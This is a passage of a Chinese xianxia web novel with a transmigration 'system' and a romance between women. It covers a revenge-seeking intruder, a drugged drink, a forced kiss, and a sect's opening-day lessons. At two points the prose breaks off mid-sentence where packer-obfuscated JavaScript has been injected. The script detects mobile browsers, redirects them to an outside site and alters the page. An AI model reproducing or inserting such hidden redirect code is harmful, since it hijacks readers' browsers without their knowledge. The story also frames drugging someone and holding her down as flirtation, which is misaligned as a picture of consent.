这边是北吧!这么多树对得上,一定是! 一阵子之后,荷乘蕴发现,她真的看不懂这份地图。 这份地图只会让她迷路。 她在哪?! 这身水蓝色衣服走在路上太显眼了,连问路也会叫人怀疑,不行,她得找一套制服来穿。 要找制服这还不简单,去学徒宿舍院子,肯定有人在晾衣服。 荷乘蕴想到做到,找到一个院子,是女学徒宿舍,从隐蔽处翻墙进去。这里的结界没有外面那个严实,对她来说如入无人之境。 不愧是大门派,学徒宿舍竟然是个大院子,房子也很大,这么大的宿舍,不知道住几个—— 念头还没完全落下,荷乘蕴嗖一下躲上树, 怎么回事! 希行门这么大一个门派!秋招人数上万,要知道她们琉璃乐阁每次也就能招千来人,就这样阁主已经乐得合不拢嘴了,可希行门—— 学徒宿舍竟然是百人间大通铺?! 她说房子怎么那么大,一瞧屋里两长排对铺,全是人……? 荷乘蕴心想,这么大个门派,她们琉璃乐阁还是十人间呢,怎么待遇这么差? 她为外门学徒愤愤不平起来了。人这么多,不怕一万就怕万一,万一一个避不开被人看见,她就露馅了。被发现不要紧,她这次来就是为了报仇的,杀人偿命!杀了那凶手再说! 每间宿舍都是人满为患,荷乘蕴根本没机会下手。 好不容易找到个没有人的大院子,心说这里总该有衣服吧! 一打量,荷乘蕴就在院子里发现了灰色制服。 灰色……是伴读。没关系,有就行。但是这里缺衣服一定会让人起疑, “……” 最后,荷乘蕴把自己的水蓝色衣服留在晾衣架上,施了障眼法。 这灰衣服……料子有些差啊。扎人。咦,上面还有个名字, “褚灵佑……” 大概是个女孩子。就算制服版型松松垮垮,她穿身上也还是有些紧。 算了,问路去。 荷乘蕴这一问就是一晚上。 没办法,入学新生太多,还没开学,也彼此不知道名字,而且她要找的仇人似乎是个死的,完全不与人交往,她问了半天一无所获。 ……那她就一个一个看脸去找! 眼看天亮,在林中猫了一宿的荷乘蕴重新踏上旅程。 上午。 “什么,你说这套衣服这么贵?”荷乘蕴不可置信,怎么可能,这衣服质量差得扎人好么! “听说的,”她对面一个女学徒疑惑,“你穿着它,你不知道?” “哦,是我家……我家主人买的,我并不清楚。”荷乘蕴敷衍过去。 她一连问了好几个,大家都说她这套衣服很贵,想到她为了买地图辛劳两天,她怎么能就这么拿了别人的衣服走。 她会洗过烘干还回去。 太阳落山。 她!她看了至少几千人,看得眼睛都花了,终于!功夫不负有心人,她看见了那个杀亲仇人! 那人混在一大群学徒中,也不说话,在自己位置上捧着本书看,还挺自在。 她倒要看看她能自在多久! 荷乘蕴高兴,但她没有立刻动手,她得把衣服洗了还回去,穿着这身见血弄脏就不好了。 荷乘蕴在山中找了泉水,把衣服洗过再烘干,她本身是火属性,做这些根本不难。但这衣服有点质量太差……她怕破了,处理得很小心,多费了些时间。 入夜时,她终于重新回到那个院子。 直奔晾衣架。 咦。衣服,不见了。 收起来了? “……” 这也容易,她进屋去,把衣服放进衣柜,再把她的取出来。 嘶,秋天了,不穿外衣还是有些冷。 荷乘蕴打了个哆嗦,查看院子里住着几个人。 找到了,其中一间房,窗户露出一条缝隙,凑过去就能看见室内景象。 荷乘蕴大喜,这房间主人一定是明天要穿制服,她的水蓝衣裳就挂在墙上! 太巧了不是。这是个好兆头,她等会一定出师顺利,去斩了她那仇人! 荷乘蕴悄无声息支起窗户,闪身跃入屋内。 咳……她…… 她也是第一次闯进别人房间里啊。 这么晚了。 都是因为那个仇人不好找,害她奔波一天一夜一个一个瞧,不是个个人都好看,她看人脸看得快吐了! 荷乘蕴莫名紧张起来。她没有多看床上。 她知道那里有个人,呼吸平稳,听就知道睡着了。 她屏住呼吸,慢慢靠近墙边…… 忽然,看见桌上有杯水。 “……”她忽然很渴。 一天没喝水。 那杯水亮亮的,从敞开的窗户留下倒影,水中盛着月亮。 “……”她猛地——下意识看看床上。 床上的人在睡。水没喝就睡着了…… 第二天醒过来,大概也记不起睡前没有喝水吧。 应该不会有人在意睡前水杯是满的这种事的…… 她真的好渴,就喝一口的话…… 窗前人影拿起水杯。 这杯水……好好喝! 比至今为止的水都好喝。 完了,她喝光了。 等会看看这附近有没有井水,再打一杯…… 欸? 她怎么……哪里怪怪的? · 中计了。 荷乘蕴,喝了那杯水。 我本就在装睡,看见她喝了药,掀开被子起来。 她惊诧,认出我是谁,然后顿悟,对我低吼,“你是故意的!?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513132|186020||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我笑:“是吧。” 荷乘蕴愤怒,想给我点厉害瞧瞧,但是没有法术使出来。她立刻意识到那杯水让她哪里有问题,“你——!!!” 我笑得更开心。她生气的脸真好看。 “这药就一刻钟,或者你坐我这里歇一会,一刻钟就好,然后你要做什么我拦不住你。”我在等系统破解信息。 荷乘蕴:“我是来这里寻仇,云间月……算了,说你也不认识,总之她杀了我徒儿亲友,寻仇也有门派规定的期限,逾期不报仇恨一笔勾销。申请我已经通过,不能眼睁睁看期限过去,自然是越早越好,我要给她们报仇!杀一杀二都是杀,你就不怕我顺便也杀了你?” 这个规定我刚刚学到过。修士本就在杀戮中生存,产生仇怨再容易不过,也因此灭门案多得离谱。各门派之间联合规定,不管是杀亲也好灭门也好,向门派递交仇怨证据,执法队调查证实后便可正式复仇。若是迟迟未报三十年后仇怨一笔勾销,再寻仇算违规,要按规定承受责罚,严重的还会被执法队通缉。 我:“那个……怎么说我也借你穿了一天衣服,你看起来不像恩将仇报的人。” 我们静静待了一会。她喷火的眼睛在烛火和月光下闪闪动人。 我:“上次我不是真的有意轻浮你。” 系统说要多说几句,它快解出来了。 “那还能是假的不成?你,你当时已经抱着一个,听你这么说你想没想过那个姑娘怎么想?” 荷乘蕴看着又有点生气,话语急促。 “可是你很好看啊……”我去寻找她的视线,和她对上,“你看,我也很好看的。再说,你是有点泼辣,我喜欢。喜欢美人姐姐有什么不对。” 荷乘蕴彻底生气:“你还是在戏弄我!如果你敢动手我一定叫你知道厉……” “我不好看吗?”我问。 荷乘蕴被我打断,她可能是疑惑我怎么这么不怕死,狐疑地盯着我看。 我们互相看了半晌。 她偏头,“是。是又怎样。” 【破解出来了!】系统不会看气氛的招呼打断我。 【荷乘蕴穿着偷来的制服问路,终于在上万入学新生中找到女主,想再杀她,女主不想在人多处与她开打,她也不想动静太大惊动旁人,两人约好深夜在无人山林中解决仇怨,说是打架,基本上是女主在逃跑,荷乘蕴不想惊动人就一直砍树追,女主受了很重的伤快被追上时,一道雷劈中周围火光冲天,荷乘蕴怕引来人不敢再多停留跑了。女主用最后的力气使法术浇灭山火,竟然在被雷劈过的地方找到一块特殊金属,是她后来那把诞生剑灵的剑原材料。】 不是,几日不见,女主怎么又快死了。不知道她上次的伤好没好。 「你说,如果我能多拖住荷乘蕴一会,不让她去打女主,雷击还会来吗?」 【嗯……不清楚。也许这里本来就有一道雷击,修士聚集的地方容易能量波动,雷击常有。你们这边有设置引雷旗阵,但女主身边怪事常有,引雷旗没好使。】 「那试试吧,这个时候我也没有好办法。如果雷击没来,荷乘蕴还是会去打女主,拦也拦不住。」 【宿主加油。但我有预感,我要被关小黑屋了。】 “你看,你喜欢我。”我凑到荷乘蕴面前,“喜欢相貌也是喜欢。好看的脸赏心悦目,你对我来说是如此。” 我也没说错。 她真的很好看。性格还算好,完全能归类到我觉得是可爱女孩子那边。 荷乘蕴后退,“别过来!你好奇怪!你凭什么觉得我喜欢你?!” “因为你不拒绝啊。自己真讨厌的人,看见就会绕路走开,”我上前一步,“所以你其实是喜欢我,不然你为什么半夜闯进我房间。” “那是为了还衣服。”她不再后退,“听说……听说衣服很贵,我本来是想挂回去还你的,你收起来了。我……我也总得把我的衣服拿回去才行吧!” “那你还是喜欢我。至少不讨厌。你可以多看看我的脸,没准更喜欢了呢。” “你就是故意的!”她忽然恍然大悟,就要跑开。 “不行!”我抓住她。 荷乘蕴现在被封住法术,我的赢面很大。 没想到,她竟然也会武术。 我们打了起来。边打边吵。 我的火气在增长。 我把她按在我床上。看得出,她很生气。 轰隆! “这才是有意的!”白光闪过窗外—— 我也很生气,扭过荷乘蕴的脸。狠狠凑过去。 满目白光,我还是闭眼不及,被刺得双眼隐隐作痛。 “你、你哭什么?!这件事就这么让你难受?”荷乘蕴胸膛起伏。 “嘤嘤嘤我眼睛痛……”我最讨厌痛了,我又没做什么天理难容的事,为什么要遭这种罪, “很舒服的。没有让我难受。” 我眨掉眼泪,去看荷乘蕴。但眼睛还是很痛,泪水止不住往下流。 挣扎的荷乘蕴:“什么?!”她慢慢脸红了。 “痛。”我把脸靠在她胸前,向上看。 荷乘蕴嘴巴红红的。 我咬了她。 她也咬我。 所以才痛。 不过,舌尖推来推去,有一点舒服。 “是你先咬我的。”她有些愤愤,“我从来不输给任何人,就算在这上也是。” “再,”我戳戳她,“再来一次嘛……对我好一点,这样你就赢了。” 荷乘蕴看我,我对她眨眼。 她凑近。 这次,轻轻柔柔的。 为了洗刷上一次,她憋着股劲,没再想着咬我。我勾住她,回想系统传过来的资料,有教怎么做。 她很配合,非常想和我对着来,绝不躲闪。 一开始是, 然后…… 失控了。 可能是太舒服,我眼睛又很痛,想找事做分散注意力。 好像是我在欺负她,她一开始很配合,后来就想往后躲了,我去追她,她想推开我,被我抓住压着欺负。 软软的,轻轻咬的话,能得到颤动作为反馈,她越躲我越想堵住她。 她终于推开我,银色的线在我们之间断开。 她在喘。 “你……你好像狗!” “很舒服啊。”我眼睛也好受了一点,半眯着就没那么痛。还有一点泪水,但是能看清更多东西了。 我对她笑,“那个。” “什么事?” “再让我靠一下。” “你已经靠着我了。” “那当你同意啦。” 我把脸埋进荷乘蕴胸口。 真好啊,我也想对小姐这么做,可是她和我同龄,没有在撒娇的感觉。娘的话,长大了渐渐就不能这么撒娇。 而且娘有时候被我这样会……会很难为情。 香香软软的。 “还可不可以有下一次。”我很想撒娇。 “这件事没完!” 荷乘蕴挣扎着起来,换上旁边她自己的衣服。“这件衣服上,是你的名字?” “嗯。” “我……”她干巴巴,“我是荷乘蕴。” “我知道。”我歪在榻上对她笑。她现在局促的样子非常可爱。 她深呼吸一口气:“外面在着火,我先走了。” “常来啊。” “想得美!不会再来了!” 荷乘蕴落荒而逃。 我歪在榻上笑了一会。 她也……太可爱了吧。脾气那么冲的一个人,枕起来软软的。 啊。系统,果然没在。就是说,这的确是调情——是吧? 云间月站在漫山遍野火光中,失神。 上一世这时……她被一人追着,遍体鳞伤。 这次那人始终没有出现,她的未来……又一次。 不一样了。 她又一次想到那个眼睛亮亮的女孩子,在衣袖拢起的灰暗空隙中,那双眼睛, 藏着燃烧的光。 里面似乎有数不尽的野心,和蓬勃生机。 像总是如约而至的落雷。注视那双眼时,会看见天际燃烧。 她施展法术扑灭山火,看漫天的光归于平静,捡起地上一块暗色物体。 “你……你在这,是你熄灭了火?” 身后有匆匆赶来声音问。 “希梦淮长老。”云间月行礼,“是。” 上一世分明……不曾有人出现在这里。 · 荷乘蕴慌不择路。 她记住了!这人名字! 干……干什么哭啊。 眼睛亮亮的。 好像月光都在里面了,还有眼泪。 歪在榻上像个妖精!……真的很像。 荷乘蕴自认不是会为好看脸蛋动容的人,她徒儿的脸也很好看,没见她对徒儿下手吧!但是……但是这人那天调戏她,她当时很生气,过了气头上总会回想起那双眼睛。 当时她只有一个念头。 真不怕死啊。 但真的动手她也会很麻烦,而且就算要动手,也要在她报仇之后,给徒儿报仇是排在第一位的,那之后她就去当乐师挣钱…… 直到这时,她才彻底愤怒起来, 怎么……会发生这种事?! 她恶狠狠念叨着两个名字。 既然,在门派里她不记得路。那她就等到云间月这个一号仇人从里面出来再动手。她不信她能永远躲在里面。 然后另一个…… 荷乘蕴脑袋空白。 另一个。……要做什么来着? 10.开学 在脑海中声音响起的间隙,我听见……很遥远的声音,融入我听见的世界之中。 我根本不知道它们是不是真实的声音。 它们……很远,又仿佛,近在我耳边。 它们……飘荡着,呼唤我。在耳边泛起涟漪,同时,有细针一样的刺痛感,一丝丝,刺入耳道。 我昏昏欲睡。 也许,这不是来自外界,而是我脑袋里的声音。 我会疯掉。 就在下一瞬,一些画面闯入脑海。 「……」 如果会感到欲求的话,就会从这种虚无缥缈状态抽离。 我睁开眼。 【宿主早上好。】 今天是开学日,系统可能是一想到等会要去找女主完成任务,有气无力的。 【宿主,你现在练得相当不错啦!你看,大部分基础法术你都通过感悟学会了,御剑飞行什么的不在话下,别人这时候还在空有能量使不出法术嗷嗷待哺阶段,你相当于是个已经学习好几年的学徒。这是反派的天赋,恭喜宿主。】 「同喜。」 我起来收拾洗漱。 不过我没告诉系统,有时候我看见那些画面会联想到其它东西,比如我家小姐…… 这样是不行的。 就算说着要成为小姐的恋人,我没打算和她真的发生什么,因为……小姐喜欢男孩子吧。她可能会一时依赖我,那正是我的目的。但我不打算改变她什么。 吃过早饭我们出发去集合地,路上三三两两同去的学徒,小姐和认识的人打招呼,我这几天记了不少人,跟在小姐旁边听她应付社交辞令。 小姐也看见了男配,走过去。 简单问候后,两人并没有走在一起,男配身边有认识的人,小姐也回到她的队伍中去。 看来接下来的日子也会是这样。我就说,小姐她不是个会恋爱上头的人,她这么有分寸…… 「系统,我发现一件事,你怎么总是先说角色的结局?一般人……不是应该先回忆和别人经历过什么,最后才是结局吗?」 我发现了这件怪事。系统在初见时能告诉我小姐的未来,是因为它提前用了很多能量去解析,到我这里投石问路,让我快速上钩。这也无可厚非,我不会怪罪它。 【会先回忆起结局,这才正常,如果你最后除掉了暗害你的人,自然只会记得她如何下线,而不是一直回忆自己是如何被刁难,这也能说明,女主实际上不怎么记仇。大部分反派她除掉后就忘了,完全不会再一次一次回忆细节,所以你要知道反派下线期间的故事,只能多和她们接触。】 女主她不记仇。可是,这是个讲她怎么报仇的故事吧? 「对了,这个故事,它有没有名字。」 【有!宿主一直没问,它是整本书其中一个分支故事,用来补充世界观的,和其它故事有所联系,名叫《大爱无疆》。】 就是说,在我身边,同时还有许许多多故事正在发生。 这才对。这是,我的世界。 女主前世被杀还能一次又一次往刀刃上撞。 女主的目的好像是为了拯救苍生。但被众叛亲离失败惨死。 大爱无疆说得……真是指女主吗?她是个神女不假,但是,作者定义,这是一个复仇故事。 而且,给一个复仇故事起名《大爱无疆》,作者精神状态可想而知。不是大概,是真的很不好。 写小说辛苦你了。正是因为你把我写出来,我才能……真正地活着,体会快乐,感到幸福。希望你好好活着,可别哪天穿进自己的小说里当炮灰。 见我不说话,系统问:【宿主,对作者这么取名有疑惑?】 「是啊。」我没打算瞒着它,「作者……也生活在你的那个三次元世界中。这个故事,就像作者在对你那个世界说,打败我。你的规则能够打败我,说我精神有问题,强迫我进行疏导治疗,否定我看见的世界。但在我的故事中,我把你们的治疗嘲笑比喻成反派乃至女主修炼的功法,我的意志将成为世界,去执行我深信不疑的故事。这个故事标题……未必是对应女主。」 【已记录。宿主真是独到见解。】系统的夸夸还是那么有气无力。 眼前,是一大片山中空地。 我看看……这一定得有上万人,身边密密麻麻,站满了学徒。 我看见高台上站着六个人,有希汀吟和希梦淮。 四周喧闹一会,忽然安静无声。 所有人,都说不出话来。 整片空地一时间只有风声,虫鸣,银色大太阳。 希汀吟说话了。 用了法术,在场每个角落都能听清。 掌门讲话嘛,说说未来展望门派规矩教授课程方向什么的,本次入学人数一万啦,未正式入学暂时两千人一座山头上课啦,多久一次考试啦,通过哪些考试可以进行学业意向选择啦,升入内门测试在入学半年后就可以开始啦等等。 说到最近的要紧事,就是通过入门测试。 通过入门测试,等于有了门派学籍,除非走流程退学,或是门派经过证实再无师长,学徒本身又未出师,灭门案在修仙界很常见,像是云间月这样惨遭灭门的,可以另择师门继续修行。否则门派学徒只能有一个学籍,偷学其它门派功法等于背叛师门,一旦被发现惩罚不轻。 总结下来是,入门测验过了之后,修行才正式开始,可以选择感兴趣的课程主修,门派内一些建筑才会对学徒开放,比如书楼,试炼场,主教学楼,等待入门测验前的这一个月,是体验门派生活,不会和之前几届入学的学徒有所接触,甚至不会进入教学楼上课,大部分是露天教学,或者野外课。而每年这些入学的上万新人,在入门测验后只有十分之一能留下来。更别提之后的升入内门测试,加上每个门派百十年一招人,内门人数实际上并不多。 然后是介绍身后的教课长老。 第一个自我介绍的是青衣美人,二十岁上下, “大家好,我姓和,可以叫我和长老,我出师自灵兽谷,是外派来的,负责教授大家如何御兽,希望和大家一起度过充实的求学时间。” 灵兽谷,那里坐拥风水宝地,会诞生出许多灵兽,一开始不对外开放。听说每年都会遭受围攻,后来谷主做出决策,结交大门派,让门派学徒交换历练,彼此互通往来,多了盟友少了敌人,最后关系发展到把自己的出师门生外派到其它门派当老师。 “等到大家熟记御兽知识,在灵兽谷开放时,将由我带领大家前往,希望各位都能找到属于自己的灵兽。” 看起来很好脾气的一个长老,说话也柔柔的。 不少学徒仰头看她的脸。 大美人啊…… “然后呢大家,还有一个题外话,我已经结婚了,会和大家保持师徒应有范围内接触,请大家多多理解。” 果然。能让外表留在这个年纪的美人,还没有飞升神界,多半已经有了家庭,不愿做高处不胜寒的仙。 但是不少人仍旧盯着她看。 并不是她不告诉名字,除了要用全名行走在外的掌门,门派长老很少参与外界事务,在没有成为内门学徒前,外门学徒无权知晓教课长老的全名,因为,道过名字,意味着长老收了徒,要对自己的门生负责,哪怕以后出师,要是门生出事,也会被顺带提起指指点点。等进入内门,拜某个长老为师,这才算是有了师长可以问道,有飞升神界的可能,否则就只是寻仙,来门派走一圈回去。 第二个自我介绍的是头发高高盘起的青年女子,看起来英姿飒爽, “我姓华,负责教授如何炼制丹药。期待以后的课程。” 她没有一丝头发落在发髻外面,看起来是个非常注重卫生的人。 第三个是衣着素雅的青年女子,全身找不出一点带珠光的东西, “叫我洛长老就好,我教授大家符术,包括操控傀儡,制作符纸。没什么可说的,有一点,我绝对不拖堂。” 那非常好了。我们在台下继续眨巴眼睛看台上,一句话说不出。 第四人跨前一步,也是青年女子,发髻松松挽着,一束黑发披在肩上垂落身前,看起来端庄,动作却豪爽,她指着自己, “我姓于,擅长医术,平时教大家如何识别药材,采收野外作物,就是说我的课大多要在山中进行,采收来的作物是在华长老课上要用到的材料,可千万不能缺课哦。” 医修啊……负责野外教学。 我……有点怕虫。怕那种很大的虫子。身上有带许多驱虫药,没关系。 第五人就是希梦淮。她一身紫衣,身后负剑。 “在场诸位想必已经认识我,我是希梦淮,在内门是大师姐,还不能收徒,被知道名字也没关系。如今负责教课,既是你们的老师也是师姐,我的教授内容是剑术和法术,如果哪位考入内门,那时代替我负责教课的将是希汀吟掌门,我所会一切,都为掌门所教,会好好指导每个一心求学的学徒。” 她行了一礼,退后。 希汀吟重新站到台前。 “平时由以上五位长老授课,我作为掌门,每天将会随机到某座山头旁观教学,现在我们开始分组,每人面前都会出现数字,数字相同者按照顺序重新站位。” 现场仍旧不能说话,我家小姐面前出现数字,我随着小姐站到对应的队伍中去。 每组上空中浮现出课程表,五个长老的课程一人教两日,轮流更替,学徒每十日休假一日。 希汀吟的声音继续响起:“按照刚才介绍顺序,各组跟着对应的长老去往各自山头,今天正式开学,以后的日子教课长老将会轮流教学,我也会不定时出现检查,还望各位学徒勤勉。” 小姐这组跟着的是希梦淮,队伍相当长,走得不慢。 【确定了,女主的确在你家小姐这组里。你看,你找到一个你家小姐和女主的联系。】 还真的是。在分组前就有的预感,经过系统排查后应验。 但两千人的队伍很长,一时间我看不出女主在哪。 「她能来上课,看来最近没有受什么伤,这是一件值得欣慰的事。」 【……是吗,宿主。】系统有点惊讶,【我看宿主对女主的敌意不小,她没有受伤你却是真的在感到高兴。】 「或许我这么说很洋洋自得。我很高兴我能帮女主逃脱毒打。没有人应该一次又一次被生活压得抬不起头,哪怕她是战胜无数反派的女主,在苦难面前,她也只是个普通人。或许我做不到尽善尽美,少一顿算一顿。少受点苦,离她精神崩溃也会再延长一些。更何况坏事还没发生,我对她不会有化为实质的仇恨,我只需要看住我家小姐,静待时机。」 【很高兴宿主这么分得清,那宿主只需要再想想该如何把握和女主之间关系。】 这是个问题。 山头不是很远,希梦淮领着队伍穿过一段砖石路,就到了。 讲课其实是露天讲堂,学徒席地而坐,有的伴读会为主人带着椅子,不过小姐说不用,来了就入乡随俗,现在她坐在地上,和我一样。 希梦淮很认真在教课。 教怎么使用自己体内的元素能量,施展出法术。 学徒们毕竟是经过测试的,在场无一不是有天赋之人,或多或少都有法术使出来。 这么看系统说得对,法术是能量使用方式, 而不是能量本身。 我看向我家小姐。 她在一圈随风卷起的火焰中,风微微吹拂,她的火焰是纯正橙红,火烧云一般在她周身流动。 她神色如常,并未因自己的天赋而骄傲自满。 我家小姐,比我想得还要有天赋。 她看我,我对她摊手笑笑,让她看我无法使出法术。 嗨呀。再怎么说,我也是个邪修,可不能在任何人面前露馅,这种大门派说不定最讨厌投机取巧的邪修,话说回来,周围这么多人,要是不小心开启吸收能量模式,说不定真能听见别人心声。 小姐看看我,也许她有一点失望?但还是对我露出鼓励般微笑。 场中,忽然出现一束白光。有点眼熟。 众人说不出话,伸长脖子往那边看,白光施展者意识到自己被围观,匆匆收回法术,白光消失不见。 会清露……她也在。 就在这时,一束更加强烈,纯粹的金光突破天际,在场地上方像炸开璀璨烟花。 周围发出无声惊叹。 嗯,男配,他也在。很好,好得很,太好了。这可不是什么巧合,这是必然。 世界是围着女主转的。虽然没看见女主的光。 女主她都能和人挥剑对打了,掌控法术强弱肯定不在话下,不会做这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16543380|186020||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太出挑的事。 希梦淮开始一个个视察,看有没有学徒使不出法术需要指导。 她走到小姐面前,看了看我们。没说什么,从我们面前快速经过。 这一天的课程就是练习如何施展法术,日落前一个时辰便散学。 明日是练习御剑前置课程,用不上剑,而是要用道具。 所以今日课业是让我们回去准备一根结实木棍,满山遍野的树,自己去折。 完成课业回到院子,阵阵菜香飘来。 我娘今天准备了丰盛菜式,还有从山下买的熟食。 小姐吃完后去练习功法,我在池边喂鱼。 希梦淮敲门进来。 她基本上不会刻意去找我家小姐,也不会在课业结束后的时间和她接触,这点上来看,她非常公正。 见我站在鱼池边,希梦淮走过来。 “今天还好?”我问她。 “好。”她点头。 我们在池边看鱼游来游去。 鲤鱼和月光,很配。 我知道希梦淮有话,她不问是还没想好,那我慢慢等。 直到半晌,希梦淮开口: “你,你真的使不出法术?你有没有做过测试?” “测过,一片黑云,看起来像会打雷。” 希梦淮沉默了。我知道她想说什么。 “……这样啊。”她低头,“那,那你可能不适合修行这条路,我没办法教你什么。不只是这样,” 她把头抬起来,眼中似乎下定了决心:“如果你听见讲课内容,跟着尝试感到很不舒服的话,就……就不要再练了,你会很痛苦。这个世界上,每个人身上都拥有元素能量,很多人拥有一两种,两三种,但也有很少很少的人,什么元素能量都可以携带,她们……也无法控制自己单一去吸纳哪一种,参加像人界门派这种常规修行会很痛苦,不会有什么成效。但如果你不出生在人界,或者,或者你去那些修行合欢宗功法的门派,这条修行之路走得通。” 她说出来了。 就是说……她其实不反对邪修? “可是很多人觉得合欢宗是邪修?”我问。 “是的。这点无法否认。但它是一条路。而且,合欢宗并不靠杀人来获取修为,只是……只是……有点投机取巧。”希梦淮脸好红。 “那我成为邪修,你还会和我做朋友吗?” “当然会!”希梦淮急切握住我手腕,“但是,但是我母亲……她最讨厌邪修了,她肯定不会允许。你,你要瞒着她。” 我拉住希梦淮的手,笑:“我是和你交朋友呀,我问得是你,并不是掌门,就算是掌门,也难以决定你的一生,你是你,不是吗?如果她命令你和我断交……” “不会让她知道的!” 希梦淮一着急,扣住我手指,重复,“不让她知道。你……你是你,修行能让你活得更长久,如果你有意,我会支持你的!” 希梦淮……她比我想得,更通情理。 “来。你看。” 我拉着她的手,另一只手指向鱼池。 池水中,飞出一连串水做的小鱼,在空中活灵活现飞舞。 她转过头来看我。 我说:“测试会场出结果后,有门派联系了我。是总部在魔界的门派,名叫千云阁,现在我是它的记名学徒。我家小姐很想走修行这条路,我想陪她更远一点。” “那太好了!”希梦淮忽然扑上来抱住我。 我的心愿……实现了? 被可爱到能治愈我女孩子抱住,绝对是很幸福,很幸福的事。 “谢谢你接纳我。”我摸摸希梦淮的头。 “不许……”她埋在我耳边小声,然后和我对视:“不许做坏事!”接着声音又小,靠在我肩上,“就行……” “不会的。”我说,“没有人伤害我和家人之时,我不会做任何害人的事。小姐想要修行,我陪她。” “那,那你母亲——” 我心中微动,暗叹希梦淮是个敏感的人:“接受分离。” “你好勇敢。”希梦淮对我说,话语中有忧愁,“不是所有人都能面对家人离去,尤其是刚开始修行之人,每年退学离开的学徒中,有些正是因为无法接受自己百年后孑然一身,选择回去与家人团聚。” “分离无可避免。”我继续拍她的头,低沉轻声:“我们边走边看,记住过去,期待未来。不管今天发生什么坏事,有未来在,就有无限可能。也许我母亲离去后还能在鬼界做鬼修,这样有一天我们还会重逢。” 如果是没遇见系统前的我,绝对说不出这样的话来,它让我看见了世界的规则,我对这个世界……如今有更加深刻的认知。 它不以我的意志为转移。哪怕是女主,它也只是在机会和苦难上偏爱女主一些,那些女主得到的,无一不是她拼上性命争取,如果换成我,做不来她的一半。 “我今天……遇见了一个人。”希梦淮轻声说,“她很有天赋。但不守规矩。我担心她以后捅娄子,必须紧盯着她。” “你知道什么该做,什么不该做。这就足够了。如果有什么事发生,让你很难过,说给我听。” 我眯着眼睛吸希梦淮。 她真的,好可爱哦。 “嗯。” 希梦淮准备走了,对我挥手:“晚安!” 我与她告别,同时问系统:「你打算说什么?」 【你就这么告诉她你是邪修的事?】 「人对于第一个朋友,多少有些特殊容忍。」 【如果宿主没办法活下去——】 系统这是担心我活不到结局,我堵住它的担忧和怕麻烦:「那你就换人。」 好像是在为了它的提醒找理由,它幽幽说,【女主其实,对希梦淮感触颇深,不然不会一破解就解出来许多剧情,看情况她好像对希梦淮也没有太憎恨,明明希梦淮害她经历常人无法忍受之痛,她最后还能好好听清楚希梦淮对她说原委,还记住了希梦淮的死。】 呵……大爱无疆啊。 「那个鬼王的姐姐,湛仄,是反派吗?」 【不算。她只是这个故事中刷新出的配角,根据事件发展对女主实施必要的推进,不是正派不是反派,属于工具人,就和城主一样。】 「接下来肯定会发生什么,你拭目以待好了。」 11.黑云压顶 今天一大早,头顶这片区域黑云压顶。 怪得很,只有学徒宿舍头顶这样。 我看看天,决定这块云走之前都不晾东西。 昨天找到的木棍在课堂派上用场。 今天希梦淮的教课内容是基础御剑法术,给初学者直接用剑很危险,容易误伤周围,法术是通用的,先对着木棍施展,能灵活操控的学徒才有资格领到一把自己的剑。 很快,我知道了,什么是容易误伤周围。 首先,每人在树林中分散站开,这周围只有树。大树,中树,小树。只要不在那片空地场上,保准四周都是大大小小的树。 其次,法术就是固定那些,自己在自己的空地练习怎么让木棍飞起来。 最后。 只要你站着不动,周围时不时有快速慢速摇晃或旋转飞舞着的木棍擦着身前身后飞过去。 需要眼观六路耳听八方,见势不对,耳边有风声袭来,要快跑。 这种分散开的课堂不禁言,可以和身边人聊天。 我家小姐练习得认真,顾不上说话。我在旁边看她,然后借口小解离场。 「女主在吗?」 每小心翼翼穿过一个区域,我就问系统。 【没有。】 一连走出好远,还是没看见女主。 两千人在山中排开,那要走很远了。 希望小姐练得入迷,不要以为我迟迟不归是在茅房出事…… 「不对啊,这边是大晴天。头上没有云。」 嗯,是这样。一路上听见不少学徒说可能会下雨,还有讨厌体训求雨的。但山上这边晴空万里。 我继续边走边找。这边已经偏离人群了。女主……会在这么偏僻的地方练习吗?按照设定,不是应该女主每到一处就会有人自愿跟随她,她就算不前呼后拥,至少也会交几个朋友,不会远离人群中心,像小可怜一样偷偷练习的吧。 嗖!耳边风声破空而来!这声音,比今天所有我听见的暗器声都快。 我防着呢!就地往树后躲,找掩体。 一道人影,手中抓着木棍,嗖一下从我面前飞过。 那人影很瘦,并不高,木棍飞行速度出奇快,在我捕捉下落之处时,木棍带着人,入木三分般刺入一颗树高处树干。 木棍还在颤动不止,抓着它的人影在空中抖动,两只脚踩空,看起来本身没什么力气,正在随着弯曲的木棍一点点下滑。 也是她很轻,不然木棍就直接折断了。 我冲出去。 距离太远,用任何法术都行不通,这时我才发现,我无法在这么远距离下准确运算施法点,那个人会掉在哪?树下,还是侧方? 【是会清露。】 系统借用了我的眼睛,看得比我更远。 「是谁不重要。」 我得快想。 如果我用法术没能救她,而是打中她,有没有这种可能?制服上有防御法术,能挡一定程度伤害——我无意伤害她,也许附加在制服上的防御法术没有把我的思绪判定为攻击意图,因此不发动? 太远了。 能再快一点。 像风或是像什么。 有风的速度,声音,闪电。像它们一样快。 我不能,像风吗? 把我离散,然后再组合起来。 多远呢? 一百丈? 不对。 再准确。 某个瞬间,世界从耳边簌簌风声变为,以我为原点,向外铺展开的世界。 